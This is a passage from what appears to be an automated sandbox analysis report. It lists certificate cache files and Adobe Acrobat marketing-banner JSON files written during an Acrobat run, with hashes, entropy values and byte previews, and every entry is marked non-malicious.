Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7381013623686155
Encrypted:	false
SSDEEP:	3:kkFkltbStfllXlE/HT8k8QlzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKqSeT8OJdNMa8RdWBwRd
MD5:	AA358124F09C44071D268EAE706BA48D
SHA1:	51B2F83C8D307BA9AA6ABD8C67DC77B557678F99
SHA-256:	29446B3DA8E4B34BD2DE478615B4803D9F44A4F7F57AD37AC87D567AC5C0C78D
SHA-512:	278AE3301B0A92A0E68FED2CC354110AE4962791B05F554E38C643DADB94770A2655D54A839D697337F4C25970D0B4AC4F2AE87CAA888C3F914D8DA384E49432
Malicious:	false
Preview:	p...... ........^...6...(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.144086598890895
Encrypted:	false
SSDEEP:	6:kKR4mL/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:5liDnLNkPlE99SNxAhUe/3
MD5:	92860527993DE006E580F704A4D7A2BB
SHA1:	135AAECEEAE5D8CC7BDBBFD3690648693DE607FA
SHA-256:	C2E9857AD422AEC53BBC3A29B51D7786E9E959B194E6504638D5DE01FFD4B821
SHA-512:	9AA788BA89B7A0AAF97B72C04D6DE8F36C70A2E1824E6C404A8AD2F90A1D84416171C0D332E8F4DEF351284520FDFCE27D22989CADFB22F1EA48820F7D07A45B
Malicious:	false
Preview:	p...... ..........v.6...(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33737927279394
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJM3g98kUwPeUkwRe9:YvXKXw0yp2UTbdB5GMbLUkee9
MD5:	D806DFDEFE9847434CD9F06EDAEBD5FB
SHA1:	151A7B4127E5F618AF08970D513FFDED795EA19A
SHA-256:	0E9A90125B72D2E309879E6DCED0DC4C949D42E57C8A7D5E1765D9EC612BF74E
SHA-512:	903F7EA135910A787478378FBC17C5B7E518823499F7905525F658DFD8CB81A6F5D5E858C0F02DD25C09833D9C02AA14C4DDDF5BD291B6A6996A0897EE0CB5BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.27429262349291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfBoTfXpnrPeUkwRe9:YvXKXw0yp2UTbdB5GWTfXcUkee9
MD5:	AF7D61E04C7D9B12291B2A42E3C88920
SHA1:	99C8E1E9167DDD95C2C4CDA46496691D15E98E73
SHA-256:	6EC541B7D1463D109FE824270B7CB905C6C92EF43EC0DAD6FE372B23431310C0
SHA-512:	DDA8A241D7760B34A6ECDD26ADD029E5620C19EE45271A97C0E1942037503F9ECD621939F82649D590EBA9712B2596FD2FD655E4FBCE8B9B954804866313DA85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.254051951149906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfBD2G6UpnrPeUkwRe9:YvXKXw0yp2UTbdB5GR22cUkee9
MD5:	9F712F320CF48B6CCC52F4CD2F818E3A
SHA1:	0A2C5DBDFD69C891AC65290C9CC53CC646F0EAAD
SHA-256:	C24DCA145E391215654B47CF90462DC1E85F526C2D0B575E29232B0BEE4D4408
SHA-512:	802F04E63F0335AA54C5C6EE37E4326BD73DDCBE34BAD210A694308F26FC1EABA225F035B8E018771D26A2B82301C97AE99B92584642FD5E9D2C084DDFB23DDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.310746259401363
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfPmwrPeUkwRe9:YvXKXw0yp2UTbdB5GH56Ukee9
MD5:	E22D81BB26ACCE1016AA1AE2415ABC9F
SHA1:	F864047155D145CB7464C88FFECD2FE0A9CF49C2
SHA-256:	6CE557D687F3E50D2FFEEF67A30BBE76A889A182AC1F2654A12022479BA5B19E
SHA-512:	FBE75C29F8432E93C914C16BBC4D9C53E7E7320BDDF77A578B403388E897BAD016BDA1D90FD3F9250ADB32271F285B343B3FD9258C58B6F30FD56B71FCEA61AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	5.663043631483383
Encrypted:	false
SSDEEP:	24:Yv6XzUXvepLgEFqciGennl0RCmK8czOCY4w22:YvOwvehgLtaAh8cvYvx
MD5:	FB1E38C81C027EB82FB07C83572070B9
SHA1:	97C04769E3CACC794D84031945BA5211C467E12D
SHA-256:	1AE06FDF14FA70B55EC3BAC61C77B6C2D6E977232C8D4EAD227B08D5F1A784B2
SHA-512:	B97BE986A864F8651AB7959C901CFFF64747A77F1F63C98E607585B02FA18F7D9EB466331FDF7AC14DD2D1A083504C333D096CF6CDA87C70804FD45E91C90529
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_2","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"afb9c2a3-eaf4-41f9-9d73-768e72f72282","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQgZmlsZXMgdG8gYW5kIGZyb20gUERGXG53aXRob3V0IGxpbWl0cy4ifSwidGNhdElkIjpudWxsfQ==","dataType":"application\/json","encodingSc

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.65116199262457
Encrypted:	false
SSDEEP:	24:Yv6XzUXvIVLgEF0c7sbnl0RCmK8czOCYHflEpwiV2:YvOwvIFg6sGAh8cvYHWpwj
MD5:	0392A6AC596AC5B14D13B0704C4ADF1E
SHA1:	BD2C806B61953380C245F892ED1E8F7C1B93B737
SHA-256:	14A7B10219A795AB310A25B6BD73A678A6A00C4901065117FB79EAB21DEDC963
SHA-512:	9B09C8C0B02875627880BD78A08194C991A1AE384394935377512B8CC59899C8556E0E2AB343F1DF631F7578C451207C47B884713A6E1B6E37ADB337063CC769
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.254837379026046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfQ1rPeUkwRe9:YvXKXw0yp2UTbdB5GY16Ukee9
MD5:	4D5F670DFB7A73C22AD769681F5DAEFC
SHA1:	7676674A01210C914735DE19BCD0CBEA12492E84
SHA-256:	3535C112B5C96D79D7A450B53017710CA4AA9BC3E5027604E4FFE9D6561A1A6C
SHA-512:	829B7D602FDC7D0546E8CDCBDCF03457917B209E164B411926C0233E4CB5FB02F2E664D41503E2AD6D234B15E852EE5D6FDB185FDD25256E6AABBE0F097BD183
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1038
Entropy (8bit):	5.646673701920354
Encrypted:	false
SSDEEP:	24:Yv6XzUXvN2LgEF7cciAXs0nl0RCmK8czOCAPtciB2:YvOwvNogc8hAh8cvAQ
MD5:	44F16E6410D71216362320561E377FA7
SHA1:	53F09579058902F9B0A15D5889FF1C3A779F4C0E
SHA-256:	CF477E6820EF792DCEFAC50418A1335A73C399E9B4C5AED7811207A74E228410
SHA-512:	B2D49FEBC7C56216FA5C50CAAF1AEC6E4340C1E60E5816F6FABDFEC22C0F78524D8B82B2683244A1753AB1D18738B15723E329C4D490C33853C5286391B9005B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_1","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"49d2f713-7aa9-44db-aa50-0a7a22add459","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVkaXQgdGV4dCwgaW1hZ2VzLCBwYWdlcywgYW5kIG1vcmUuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme":true},"endDTS":1744

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1164
Entropy (8bit):	5.696017050942138
Encrypted:	false
SSDEEP:	24:Yv6XzUXvlKLgEfIcZVSkpsn264rS514ZjBrwloJTmcVIsrSK52:YvOwvlEgqprtrS5OZjSlwTmAfSKE
MD5:	E2AB97018276E7D86A1F1081163B2D8F
SHA1:	FD226E28590EE6526F27FDE480F19029B99B737D
SHA-256:	E3A5970B99D6DB0FF5923FDD5C0275C8E09C5F113282501E5E400E322CB2B987
SHA-512:	CB9C6BD2712565FB32126E593EACEE797E745F3CFC7A7C5938DC1AD777AFF5EC0C10688847BD2AA12EEF9CFD9161317D6EC85236C3D7743290FA1F42213CF164
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85531_264848ActionBlock_0","campaignId":85531,"containerId":"1","controlGroupId":"","treatmentId":"ee1a7497-76e7-43c2-bb63-9a0551e11d73","variationId":"264848"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IlRyeSBBY3JvYmF0IFBybyJ9LCJ1aSI6eyJ0aXRsZV9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjE1cHgiLCJmb250X3N0eWxlIjoiMCJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEzcHgiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0b1xucHJlbWl1bSBQREYgYW5kIGUtc2lnbmluZ1xudG9vbHMuIn0sImJhbm5lcl9zdHlsaW5nIjo

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.257549243760126
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfYdPeUkwRe9:YvXKXw0yp2UTbdB5Gg8Ukee9
MD5:	F472F771E3AB47A5539F37821C5BB588
SHA1:	EEE9757A372DBCF144AC02E42AE2BFC159F713DF
SHA-256:	3FC41FE9D4FCF6C13F191721975989D2261E4D3331B92E71B53A5924D1ACCDCA
SHA-512:	C98945B68BFC152BE3BD78B328AD7D9B096861195A2BA8BBE4B15E868DFA01EFBEA2153294F54D42E106F77DE83F0A8EBF2E476A64A08AACE3DAE668FBFD1C44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.773846580479257
Encrypted:	false
SSDEEP:	24:Yv6XzUXvYrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNe:YvOwvYHgDv3W2aYQfgB5OUupHrQ9FJE
MD5:	787788B14BB68E114A07AA8D95B8118F
SHA1:	876ACAA683F8ACC0FADDADE37E4F1287A3DACE04
SHA-256:	9754F29AACEACECB0DFD6515DF3D89BE8740BDDBA250D6B873D9E997BCE9B650
SHA-512:	8F38678F6AE4712D9F267813DE66AAEBF310A188BECE6AF853D4512287404B2A5D5870DF1B50650CCEB114448480FB8A5A4B6ACA8FFCD6C29CE01204358AB1F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_RHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"57802_176003ActionBlock_0","campaignId":57802,"containerId":"1","controlGroupId":"","treatmentId":"d0374f2d-08b2-49b9-9500-3392758c9e2e","variationId":"176003"},"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0LmFkb2JlLmNvbS9wcm94eS9wcmljaW5nL3VzL2VuL3NpZ24tZnJlZS10cmlhbC5odG1sP3RyYWNraW5naWQ9UEMxUFFMUVQmbXY9aW4tcHJvZHVjdCZtdjI9cmVhZGVyIn0sInVpIjp7InRpdGxlX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTQiLCJmb250X3N0eWxlIjoiMyJ9LCJkZXNjcmlwdGlvbl9zdHlsaW5nIjp7ImZvbnRfc2l6ZSI6IjEyIiwiZm9udF9zdHlsZSI6IjMifSwidGl0

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.241388099208834
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfbPtdPeUkwRe9:YvXKXw0yp2UTbdB5GDV8Ukee9
MD5:	B21FAB689938FBB9BA9458AADBB18E6A
SHA1:	3AF1CB4A79ABADB9C12CA0029F38D1E70B38D54C
SHA-256:	65BF4EBB269B8BBEFB478078EC9164D0F77F34BEFE1728D052EC18BDF8D740E7
SHA-512:	FBB1FAAC8CA154D3773E26AC96DE5F5DD5A088C3CF359D2753999CDFC668953B7323809EA34EE0BC30D24035A1D55790EC57868DCC5D4E88138B92004C6F6C0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2441818376622695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJf21rPeUkwRe9:YvXKXw0yp2UTbdB5G+16Ukee9
MD5:	FE6EBE673C878542A6FAA76BAD5BA34B
SHA1:	96805EFA23CB6CCB9C43DE821E862CAB622565BB
SHA-256:	0C6A23D76406801C4DA6D569E918427C39FF5C8B084D092BA95AEAFE74A2356B
SHA-512:	15065392A702D4BBD2906F4802D338CBB7D8C49BBF9D4307238E49D2493074C4F9A441B0510236D6758A8266503912231E6B4BDECC152C0C684857D7D86A82C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1058
Entropy (8bit):	5.654201623289608
Encrypted:	false
SSDEEP:	24:Yv6XzUXvCamXayLgEFRcONaqnl0RCmK8czOC+w2E+tg8B2:YvOwvcBguOAh8cv+NKp
MD5:	92BCEBC4EB6AA7ADDE5849BAB520F748
SHA1:	87FCB93C96AA73C493C20E03E126C2E5F76C66D1
SHA-256:	EAECE3C4C32DB385D9931438AE5D36242B602B93413A8BD3083013B3B6131B66
SHA-512:	382225A92D1119CCB20CA0CE51B75CF98BB5C24404408B1CF4B238821D21055C0B40D96768EE6FCD5E880EA9B14DA3114895E6D5596F377947CD4606242F6537
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_3","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"ece07729-7db6-4f20-9f8d-7976ad373049","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IlNlbmQgZG9jdW1lbnRzICYgZm9ybXNcbmZvciBmYXN0IGUtc2lnbmluZyBvbmxpbmUuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"application\/json","encodingScheme"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.220965380662257
